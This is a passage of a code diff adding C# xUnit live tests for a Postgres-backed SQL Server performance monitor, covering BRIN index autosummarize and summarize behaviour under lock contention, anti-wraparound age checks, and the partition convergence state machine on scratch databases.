+        Assert.Contains("autovacuum_multixact_freeze_max_age", holders);
+        Assert.Contains("autovacuum worker", holders);
+
+        /* #5594 round 2 L1: the activity text autovacuum writes for an anti-wraparound vacuum is a signal of its own, and the age
+           limit is the smaller of the table's setting and the server's (LEAST), never the table's alone (COALESCE). */
+        Assert.Contains("(to prevent wraparound)", holders);
+        Assert.Contains(QueryStoreIntervalBrin.AntiWraparoundAgeSql, holders);
+        Assert.Contains("LEAST", QueryStoreIntervalBrin.AntiWraparoundAgeSql);
+        Assert.DoesNotContain("COALESCE", QueryStoreIntervalBrin.AntiWraparoundAgeSql);
+    }
+
+    /// <summary>
+    /// #5594 round 2 L2: brin_summarize_range raises XX000 for an index that is gone, so XX000 plus an index that no longer resolves
+    /// is a drop; XX000 for an index that is still there, or any other error, is a fault that must surface.
+    /// </summary>
+    [Theory]
+    [InlineData("XX000", false, true)]
+    [InlineData("42P01", false, true)]
+    [InlineData("XX000", true, false)]
+    [InlineData("42P01", true, false)]
+    [InlineData("55P03", false, false)]
+    [InlineData("57014", false, false)]
+    [InlineData(null, false, false)]
+    public void ASummarizeError_CountsAsADroppedIndex_OnlyWhenTheIndexIsGone(string? sqlState, bool indexStillExists, bool expectedDropped)
+    {
+        Assert.Equal(expectedDropped, QueryStoreIntervalBrin.IsDroppedIndexError(sqlState, indexStillExists));
+    }
+
+    /// <summary>V171's parent BRIN says off, so a leaf made by PARTITION OF or ATTACH clones off (#5594 review round 1).</summary>
+    [Fact]
+    public void TheWideRung_CreatesTheParentBrinWithAutosummarizeOff()
+    {
+        var rung = PgMigrations.Scripts.Single(m => m.Version == QueryStoreIntervalPartitionRungTests.WideRungVersion);
+        Assert.Contains("USING brin (collection_time) WITH (autosummarize = off)", rung.Sql);
+        Assert.DoesNotContain("autosummarize = on", rung.Sql);
+    }
+
+    /// <summary>A second session that watches pg_locks for a request on one relation that is not granted, and how long it stayed ungranted.</summary>
+    private sealed class WaiterWatch : IAsyncDisposable
+    {
+        private readonly Task _poll;
+        private bool _stop;
+
+        public WaiterWatch(NpgsqlConnection watcher, string relation, CancellationToken ct)
+        {
+            _poll = Task.Run(
+                async () =>
+                {
+                    Stopwatch? since = null;
+                    while (!Volatile.Read(ref _stop))
+                    {
+                        await using var command = new NpgsqlCommand(
+                            $"SELECT count(*) FROM pg_locks WHERE NOT granted AND relation = '{relation}'::regclass;", watcher);
+                        var waiting = (long)(await command.ExecuteScalarAsync(ct))! > 0;
+                        since = waiting ? since ?? Stopwatch.StartNew() : null;
+                        if (since is not null)
+                        {
+                            Seen = true;
+                            if (since.Elapsed > Longest)
+                            {
+                                Longest = since.Elapsed;
+                            }
+                        }
+
+                        await Task.Delay(10, ct);
+                    }
+                },
+                ct);
+        }
+
+        /// <summary>Whether a request on the relation was ever seen waiting.</summary>
+        public bool Seen { get; private set; }
+
+        public TimeSpan Longest { get; private set; }
+
+        public async Task StopAsync()
+        {
+            Volatile.Write(ref _stop, true);
+            await _poll;
+        }
+
+        public async ValueTask DisposeAsync() => await StopAsync();
+    }
+
+    /// <summary>
+    /// A manual VACUUM in a second session, throttled to one page per 100 ms so it is still running when the test's step
+    /// asks (a manual VACUUM is never cancelled by the deadlock check). Disposing cancels it and waits for it to end, which
+    /// the scratch database's drop needs.
+    /// </summary>
+    private sealed class SlowVacuum : IAsyncDisposable
+    {
+        private readonly NpgsqlConnection _connection;
+        private readonly CancellationTokenSource _cancel = new();
+        private readonly Task _run;
+
+        private SlowVacuum(NpgsqlConnection connection, string table)
+        {
+            _connection = connection;
+            _run = Task.Run(
+                async () =>
+                {
+                    try
+                    {
+                        await ExecAsync(connection, "SET vacuum_cost_delay = 100; SET vacuum_cost_limit = 1;", CancellationToken.None);
+                        await using var vacuum = new NpgsqlCommand($"VACUUM {table}", connection) { CommandTimeout = 300 };
+                        await vacuum.ExecuteNonQueryAsync(_cancel.Token);
+                    }
+                    catch (OperationCanceledException)
+                    {
+                    }
+                    catch (PostgresException)
+                    {
+                    }
+                });
+        }
+
+        public static async Task<SlowVacuum> StartAsync(ScratchPostgres scratch, NpgsqlConnection probe, string table, CancellationToken ct)
+        {
+            var connection = new NpgsqlConnection(scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            var vacuum = new SlowVacuum(connection, table);
+            for (var attempt = 0; attempt < 300; attempt++)
+            {
+                if (await CountAsync(probe, $"SELECT count(*) FROM pg_stat_progress_vacuum WHERE relid = '{table}'::regclass", ct) > 0)
+                {
+                    return vacuum;
+                }
+
+                await Task.Delay(100, ct);
+            }
+
+            await vacuum.DisposeAsync();
+            throw new InvalidOperationException($"the throttled VACUUM of {table} never showed in pg_stat_progress_vacuum");
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _cancel.CancelAsync();
+            await _run;
+            await _connection.DisposeAsync();
+            _cancel.Dispose();
+        }
+    }
+
+    [Fact]
+    public async Task TheTurnOff_WhileAManualVacuumRunsOnTheTable_LeavesTheIndexOn_AndNeverAsksForTheLock()
+    {
+        /* A manual VACUUM is never cancelled by the deadlock check, so an ALTER (ACCESS EXCLUSIVE on the index, which the
+           VACUUM holds ROW EXCLUSIVE) could only queue the leaf's writers and readers behind it for the whole lock wait. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var watcher = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await ExecAsync(connection, $"CREATE INDEX {Brin}_legacy ON {LegacyTable} USING brin (collection_time) WITH (autosummarize = off)", ct);
+        await InsertManyAsync(connection, ct);
+        await ExecAsync(connection, $"ALTER INDEX {LegacyBrin} SET (autosummarize = on)", ct);
+
+        QueryStoreIntervalPartitions.StepResult step;
+        bool waiterSeen;
+        await using (var vacuum = await SlowVacuum.StartAsync(scratch, connection, LegacyTable, ct))
+        {
+            var watch = new WaiterWatch(watcher, LegacyBrin, ct);
+            step = await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, Wide, logger, ct);
+            await watch.StopAsync();
+            waiterSeen = watch.Seen;
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, step.Outcome);
+        Assert.Contains("left on", step.Detail);
+        Assert.Equal(0, step.Count);
+        Assert.False(waiterSeen, "the turn-off asked for the index's lock while a manual VACUUM was running");
+        Assert.Equal(1L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+
+        /* Once the VACUUM is gone the next pass turns it off. */
+        var after = await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, Wide, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, after.Outcome);
+        Assert.Equal(0L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+    }
+
+    [Fact]
+    public async Task TheTurnOff_AReaderHoldingTheIndex_TimesOutBelowFiveSeconds_AndTheTableIsStillConverged()
+    {
+        /* A reader's ACCESS SHARE on the index is a lock no check sees as uncancellable, so the ALTER does ask and its lock
+           wait ends the request: rolled back, reported, and (L1) the table's NEXT index is still turned off. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var reader = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await ExecAsync(connection, $"CREATE INDEX {Brin}_legacy ON collect.query_store_interval_wide_legacy USING brin (collection_time) WITH (autosummarize = on)", ct);
+        await ExecAsync(connection, $"CREATE INDEX {Brin} ON ONLY collect.query_store_interval_wide USING brin (collection_time) WITH (autosummarize = off)", ct);
+        await ExecAsync(connection, $"ALTER INDEX collect.{Brin} ATTACH PARTITION {LegacyBrin}", ct);
+        await PromoteAsync(connection, Wide, Now, logger, ct);
+
+        /* The legacy leaf sorts first by name; a day leaf is the one that must not be left behind. */
+        var dayLeaf = (string)(await ScalarAsync(
+            connection,
+            "SELECT format('%I.%I', n.nspname, i.relname) FROM pg_index x JOIN pg_class i ON i.oid = x.indexrelid JOIN pg_namespace n ON n.oid = i.relnamespace "
+            + "JOIN pg_am am ON am.oid = i.relam WHERE am.amname = 'brin' AND i.relkind = 'i' AND i.relname <> '" + Brin + "_legacy' "
+            + "AND x.indrelid IN (SELECT relid FROM pg_partition_tree('collect.query_store_interval_wide'::regclass)) ORDER BY 1 LIMIT 1",
+            ct))!;
+        await ExecAsync(connection, $"ALTER INDEX {LegacyBrin} SET (autosummarize = on)", ct);
+        await ExecAsync(connection, $"ALTER INDEX {dayLeaf} SET (autosummarize = on)", ct);
+        Assert.Equal(2L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+
+        var deadlockMs = (int)await CountAsync(connection, "SELECT setting::bigint FROM pg_settings WHERE name = 'deadlock_timeout'", ct);
+        var lockMs = QueryStoreIntervalBrin.TurnOffLockTimeoutMs(deadlockMs);
+        QueryStoreIntervalPartitions.StepResult step;
+        var elapsed = TimeSpan.Zero;
+        await using (var hold = await reader.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(reader, $"SELECT count(*) FROM {LegacyTable}", ct);
+            Assert.True(
+                await CountAsync(connection, $"SELECT count(*) FROM pg_locks WHERE granted AND mode = 'AccessShareLock' AND relation = '{LegacyBrin}'::regclass", ct) > 0,
+                "the reader's transaction must hold the legacy BRIN index");
+
+            var watch = Stopwatch.StartNew();
+            step = await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, Wide, logger, ct);
+            elapsed = watch.Elapsed;
+            await hold.RollbackAsync(ct);
+        }
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.RetryLater, step.Outcome);
+        Assert.Equal(1, step.Count);
+        Assert.Contains("1 lock timeout", step.Detail);
+        Assert.True(elapsed >= TimeSpan.FromMilliseconds(lockMs - 100), $"the legacy index's turn-off returned after {elapsed.TotalMilliseconds:F0} ms, before its {lockMs} ms lock timeout");
+        Assert.True(elapsed < TimeSpan.FromMilliseconds(lockMs + 3000), $"the turn-off took {elapsed.TotalMilliseconds:F0} ms against a {lockMs} ms lock timeout");
+        Assert.True(logger.Lines.Exists(l => l.Level == LogLevel.Warning && l.Message.Contains("lock timeout", StringComparison.Ordinal)), logger.Dump());
+
+        /* The day leaf, which sorts after the legacy leaf, was altered; the legacy leaf was rolled back and is still on. */
+        Assert.Equal(1L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+        Assert.Equal(1L, await CountAsync(connection, $"SELECT count(*) FROM pg_class WHERE oid = '{LegacyBrin}'::regclass AND reloptions @> ARRAY['autosummarize=on']", ct));
+
+        /* With the reader gone the next pass finishes. */
+        var after = await QueryStoreIntervalBrin.TurnOffAutosummarizeAsync(connection, Wide, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, after.Outcome);
+        Assert.Equal(0L, await CountAsync(connection, LeafBrinOnCountSql, ct));
+    }
+
+    [Fact]
+    public async Task TheSummarize_WhileAManualVacuumRunsOnTheTable_SkipsTheIndex_AndNeverAsksForTheLock()
+    {
+        /* The pg_stat_progress_vacuum skip: a throttled manual VACUUM holds SHARE UPDATE EXCLUSIVE on the table, and the
+           summarize must not queue for it. */
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var watcher = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await ExecAsync(connection, $"CREATE INDEX {Brin}_legacy ON {LegacyTable} USING brin (collection_time) WITH (autosummarize = off)", ct);
+        await InsertManyAsync(connection, ct);
+
+        QueryStoreIntervalPartitions.StepResult step;
+        bool waiterSeen;
+        await using (var vacuum = await SlowVacuum.StartAsync(scratch, connection, LegacyTable, ct))
+        {
+            var watch = new WaiterWatch(watcher, LegacyTable, ct);
+            step = await QueryStoreIntervalBrin.SummarizeNewRangesAsync(connection, Wide, logger, ct);
+            await watch.StopAsync();
+            waiterSeen = watch.Seen;
+        }
+
+        Assert.Contains("skipped 1 being vacuumed", step.Detail);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.NothingToDo, step.Outcome);
+        Assert.False(waiterSeen, "the summarize asked for the table's lock while a manual VACUUM was running");
+
+        /* Nothing was summarized, and once the VACUUM is gone the next pass does it. */
+        var after = await QueryStoreIntervalBrin.SummarizeNewRangesAsync(connection, Wide, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, after.Outcome);
+        Assert.True(after.Count >= 1);
+    }
+
+    [Fact]
+    public async Task TheSummarizeStatement_StopsBetweenRanges_AndTheNextPassFinishesWithNothingLost()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+
+        await ExecAsync(connection, $"CREATE INDEX {Brin}_legacy ON {LegacyTable} USING brin (collection_time) WITH (autosummarize = off)", ct);
+        await InsertManyAsync(connection, ct);
+        var blocks = await CountAsync(connection, $"SELECT pg_relation_size('{LegacyTable}') / 8192", ct);
+        var fullRanges = blocks / 128;
+        var rangesWalked = (blocks + 127) / 128;
+        Assert.True(fullRanges >= 2, $"expected several complete 128-block ranges; the table has {blocks} blocks");
+
+        /* A spent budget starts no range: nothing is summarized, every range is reported as not started. */
+        var (done, notStarted) = await RunSummarizeAsync(connection, LegacyBrin, 0.0, ct);
+        Assert.Equal(0L, done);
+        Assert.Equal(rangesWalked, notStarted);
+
+        /* The next pass, with a budget it will not spend, does all of it (the last, partial range is summarized too: brin_summarize_range passes include_partial). */
+        (done, notStarted) = await RunSummarizeAsync(connection, LegacyBrin, 60.0, ct);
+        Assert.InRange(done, fullRanges - 1, rangesWalked);
+        Assert.Equal(0L, notStarted);
+        (done, notStarted) = await RunSummarizeAsync(connection, LegacyBrin, 60.0, ct);
+        Assert.Equal((0L, 0L), (done, notStarted));
+
+        /* A leaf dropped after the target list was read reads no rows: (0, 0), not a NULL scalar that throws. */
+        (done, notStarted) = await RunSummarizeAsync(connection, "collect.no_such_brin_leaf", 60.0, ct);
+        Assert.Equal((0L, 0L), (done, notStarted));
+    }
+
+    private static async Task<bool> AntiWraparoundAsync(NpgsqlConnection connection, string table, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            $"SELECT {QueryStoreIntervalBrin.AntiWraparoundAgeSql} FROM pg_class AS t WHERE t.oid = $1::regclass", connection) { CommandTimeout = 120 };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = table });
+        return (bool)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    /// <summary>
+    /// #5594 round 2 L3: the anti-wraparound age fragment reads false below the table's freeze limit and true past it, uses the
+    /// smaller of the table's and the server's limit, and a table with no setting of its own follows the server's.
+    /// </summary>
+    [Fact]
+    public async Task TheAntiWraparoundAge_ReadsTrueOnlyPastTheSmallerOfTheTablesAndTheServersFreezeLimit()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+
+        /* 100000 is the smallest autovacuum_freeze_max_age a table may set; 2000000000 the largest, far above the server's 200 M. */
+        await ExecAsync(connection, "CREATE TABLE collect.wrap_low (c int) WITH (autovacuum_freeze_max_age = 100000)", ct);
+        await ExecAsync(connection, "CREATE TABLE collect.wrap_high (c int) WITH (autovacuum_freeze_max_age = 2000000000)", ct);
+        await ExecAsync(connection, "CREATE TABLE collect.wrap_plain (c int)", ct);
+        await ExecAsync(
+            connection,
+            "CREATE PROCEDURE collect.burn_xids(n int) LANGUAGE plpgsql AS $$ BEGIN FOR i IN 1..n LOOP PERFORM pg_current_xact_id(); COMMIT; END LOOP; END $$",
+            ct);
+
+        /* An open transaction that holds an XID keeps VACUUM from freezing past it, so no autovacuum (the 100000 table is due for
+           one as soon as it is old enough) can reset the age this test is about to build. */
+        await using var holder = new NpgsqlConnection(scratch.ConnectionString);
+        await holder.OpenAsync(ct);
+        await using var holderTransaction = await holder.BeginTransactionAsync(ct);
+        await using (var xid = new NpgsqlCommand("SELECT pg_current_xact_id()::text", holder, holderTransaction))
+        {
+            await xid.ExecuteScalarAsync(ct);
+        }
+
+        Assert.False(await AntiWraparoundAsync(connection, "collect.wrap_low", ct));
+        Assert.False(await AntiWraparoundAsync(connection, "collect.wrap_high", ct));
+        Assert.False(await AntiWraparoundAsync(connection, "collect.wrap_plain", ct));
+
+        /* Just over the 100000 minimum. Commits are not flushed one by one (synchronous_commit off), and each one burns an XID. */
+        var burn = Stopwatch.StartNew();
+        await ExecAsync(connection, "SET synchronous_commit = off", ct);
+        await using (var call = new NpgsqlCommand("CALL collect.burn_xids(100200)", connection) { CommandTimeout = 600 })
+        {
+            await call.ExecuteNonQueryAsync(ct);
+        }
+
+        burn.Stop();
+        TestContext.Current.SendDiagnosticMessage($"burned 100200 XIDs in {burn.Elapsed.TotalSeconds:F1} s");
+
+        Assert.True(await AntiWraparoundAsync(connection, "collect.wrap_low", ct));
+        Assert.False(await AntiWraparoundAsync(connection, "collect.wrap_high", ct), "a per-table limit above the server's 200 M must not count as past it");
+        Assert.False(await AntiWraparoundAsync(connection, "collect.wrap_plain", ct));
+
+        /* The server setting cannot change without a restart, so the smaller-limit leg lowers the setting the fragment reads: a
+           function earlier in search_path answers for current_setting. The table's limit (2 billion) is now the larger of the two,
+           and autovacuum would use the server's, so the fragment must too; the table's alone (the old COALESCE) reads false. */
+        await ExecAsync(
+            connection,
+            "CREATE SCHEMA shadow; "
+            + "CREATE FUNCTION shadow.current_setting(text) RETURNS text LANGUAGE sql STABLE AS "
+            + "$$ SELECT CASE WHEN $1 = 'autovacuum_freeze_max_age' THEN '100000' ELSE pg_catalog.current_setting($1) END $$; "
+            + "SET search_path = shadow, pg_catalog",
+            ct);
+        Assert.True(await AntiWraparoundAsync(connection, "collect.wrap_high", ct), "the smaller of the table's and the server's limit decides");
+        Assert.True(await AntiWraparoundAsync(connection, "collect.wrap_plain", ct), "a table with no limit of its own follows the server's");
+    }
+
+    private static async Task<(long Done, long NotStarted)> RunSummarizeAsync(NpgsqlConnection connection, string index, double budgetSeconds, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(QueryStoreIntervalBrin.SummarizeIndexSql, connection) { CommandTimeout = 120 };
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = index });
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Double, Value = budgetSeconds });
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.GetInt64(0), reader.GetInt64(1));
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = 120 };
+        return await command.ExecuteScalarAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreIntervalConvergenceLiveTests.cs b/Darling/Darling.Tests/QueryStoreIntervalConvergenceLiveTests.cs
new file mode 100644
index 0000000000..c33711b0e6
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreIntervalConvergenceLiveTests.cs
@@ -0,0 +1,907 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.QueryStoreIntervalRetentionTestKit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The state machine around the legacy CHECK (#5571 review H1, M1): until a table is promoted, the CHECK is a wall at S,
+/// so the hourly convergence step has to keep S ahead of the clock (arm, one promote, re-arm), and the long work (the
+/// VALIDATE) runs on a background loop that repeats hourly. The clock is injected, so "S is close" is a clock argument,
+/// not a wait; each test runs on its own scratch database.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test reaches DARLING_TEST_PG only to
+   CREATE and DROP its own database through ScratchPostgres and works entirely inside it, so it cannot race
+   live collection. */
+public sealed class QueryStoreIntervalConvergenceLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the #5571 live tests.";
+
+    private static IReadOnlyList<QueryStoreIntervalPartitions.IntervalTable> OnlyWide { get; } = new[] { Wide };
+
+    /* S as armed at Now: 2026-10-10 00:00. */
+    private static DateTime FirstS => QueryStoreIntervalPartitions.ArmBound(Now);
+
+    private static async Task<QueryStoreIntervalPartitions.PartitionState> StateAsync(NpgsqlConnection connection, CancellationToken ct) =>
+        await QueryStoreIntervalPartitions.ReadStateAsync(connection, Wide, ct);
+
+    private static DateTime Micro(DateTime value) => value.AddTicks(10);
+
+    [Fact]
+    public async Task AnUnvalidatedTable_WithTheClockNearItsS_IsReArmedByTheHourlyPass_AndARowJustPastTheOldSLands()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct)).Outcome);
+        var oldS = (await StateAsync(connection, ct)).CheckBound;
+        Assert.Equal(FirstS, oldS);
+
+        /* The row the old S would refuse: one microsecond past it. */
+        var refused = await Assert.ThrowsAsync<PostgresException>(() => InsertAsync(connection, Wide, Micro(FirstS), 1, ct));
+        Assert.Equal(PostgresErrorCodes.CheckViolation, refused.SqlState);
+
+        /* A pass well before S leaves the CHECK alone... */
+        var early = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, FirstS.AddHours(-20), logger, ct);
+        Assert.Equal(0, early.Failed);
+        Assert.Equal(FirstS, (await StateAsync(connection, ct)).CheckBound);
+
+        /* ...and one with less than twelve hours left re-arms it, before S, with a later S, without a VALIDATE. */
+        var near = FirstS.AddHours(-1);
+        var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, near, logger, ct);
+        Assert.Equal(0, pass.Failed);
+        var state = await StateAsync(connection, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.ArmBound(near), state.CheckBound);
+        Assert.True(state.CheckBound > FirstS);
+        Assert.False(state.CheckValid);
+        Assert.False(state.Promoted);
+
+        await InsertAsync(connection, Wide, Micro(FirstS), 1, ct);
+        Assert.Equal(Wide.Legacy, await PartitionOfAsync(connection, Wide, 1, ct));
+
+        /* Another pass at the same clock changes nothing. */
+        await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, near, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.ArmBound(near), (await StateAsync(connection, ct)).CheckBound);
+        Assert.False(logger.HasAtLeast(LogLevel.Warning), logger.Dump());
+    }
+
+    [Fact]
+    public async Task AValidCheck_WhosePromoteIsBlockedForSeveralPasses_IsReArmedBeforeS_AndPromotesOnceTheLockIsGone()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, Now, logger, ct)).Outcome);
+        Assert.True((await StateAsync(connection, ct)).CheckValid);
+
+        /* A long read of the parent holds ACCESS SHARE on it; the promotion's ACCESS EXCLUSIVE waits 5 s and gives up. ONLY keeps the
+           legacy table free, so the re-arm (which locks the legacy table) is not the thing under test. */
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE ONLY {Wide.Parent} IN ACCESS SHARE MODE", ct);
+
+            foreach (var hoursBeforeS in new[] { 20, 16, 13 })
+            {
+                var pass = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, FirstS.AddHours(-hoursBeforeS), logger, ct);
+                Assert.Equal(0, pass.Failed);
+                var waiting = await StateAsync(connection, ct);
+                Assert.Equal(FirstS, waiting.CheckBound);
+                Assert.True(waiting.CheckValid);
+                Assert.False(waiting.Promoted);
+            }
+
+            var close = FirstS.AddHours(-11);
+            var last = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, close, logger, ct);
+            Assert.Equal(0, last.Failed);
+            var reArmed = await StateAsync(connection, ct);
+            Assert.False(reArmed.Promoted);
+            Assert.Equal(QueryStoreIntervalPartitions.ArmBound(close), reArmed.CheckBound);
+            Assert.True(reArmed.CheckBound > FirstS);
+            Assert.False(reArmed.CheckValid);   /* the price of re-arming a valid CHECK: a new VALIDATE */
+
+            await InsertAsync(connection, Wide, Micro(FirstS), 2, ct);   /* the old S's first refused instant now lands */
+            await hold.RollbackAsync(ct);
+        }
+
+        /* The lock is gone: the background step validates the new S, and the next hourly pass promotes. */
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, FirstS.AddHours(-11), logger, ct)).Outcome);
+        var promoting = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, FirstS.AddHours(-10), logger, ct);
+        Assert.Equal(0, promoting.Failed);
+        Assert.True((await StateAsync(connection, ct)).Promoted);
+        Assert.Equal(Wide.Legacy, await PartitionOfAsync(connection, Wide, 2, ct));
+    }
+
+    [Fact]
+    public async Task AReArm_BlockedByALongRead_IsRetryLaterNotAnError_AndTheNextPassTriesAgain()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await using var blocker = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct);
+        var close = FirstS.AddHours(-6);
+
+        await using (var hold = await blocker.BeginTransactionAsync(ct))
+        {
+            await ExecAsync(blocker, $"LOCK TABLE {Wide.Legacy} IN ACCESS SHARE MODE", ct);   /* a read of the legacy table */
+            var blocked = await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, close, logger, ct);
+            Assert.Equal(0, blocked.Failed);
+            Assert.Equal(FirstS, (await StateAsync(connection, ct)).CheckBound);
+            await hold.RollbackAsync(ct);
+        }
+
+        await QueryStoreIntervalPartitions.RunMaintenancePassAsync(connection, OnlyWide, close.AddHours(1), logger, ct);
+        Assert.Equal(QueryStoreIntervalPartitions.ArmBound(close.AddHours(1)), (await StateAsync(connection, ct)).CheckBound);
+    }
+
+    [Fact]
+    public async Task ALegacyRowPastTheNormalS_MakesTheArmPickALaterS_TheValidatePasses_AndThePromotionSucceeds()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        var logger = new ListLogger();
+
+        /* A monitored server whose clock is three days ahead: one row at 10-13 05:00, past the normal S of 10-10. */
+        var ahead = new DateTime(2026, 10, 13, 5, 0, 0, DateTimeKind.Unspecified);
+        await InsertAsync(connection, Wide, ahead, 1, ct);
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ArmAsync(connection, Wide, Now, logger, ct)).Outcome);
+        var laterS = new DateTime(2026, 10, 14, 0, 0, 0, DateTimeKind.Unspecified);
+        Assert.Equal(laterS, (await StateAsync(connection, ct)).CheckBound);
+        Assert.True(logger.Lines.Any(l => l.Level == LogLevel.Warning && l.Message.Contains("2026-10-13T05:00:00", StringComparison.Ordinal)), logger.Dump());
+
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.ValidateAsync(connection, Wide, Now, logger, ct)).Outcome);
+        Assert.Equal(QueryStoreIntervalPartitions.StepOutcome.Done, (await QueryStoreIntervalPartitions.PromoteAsync(connection, Wide, Now, logger, ct)).Outcome);
+
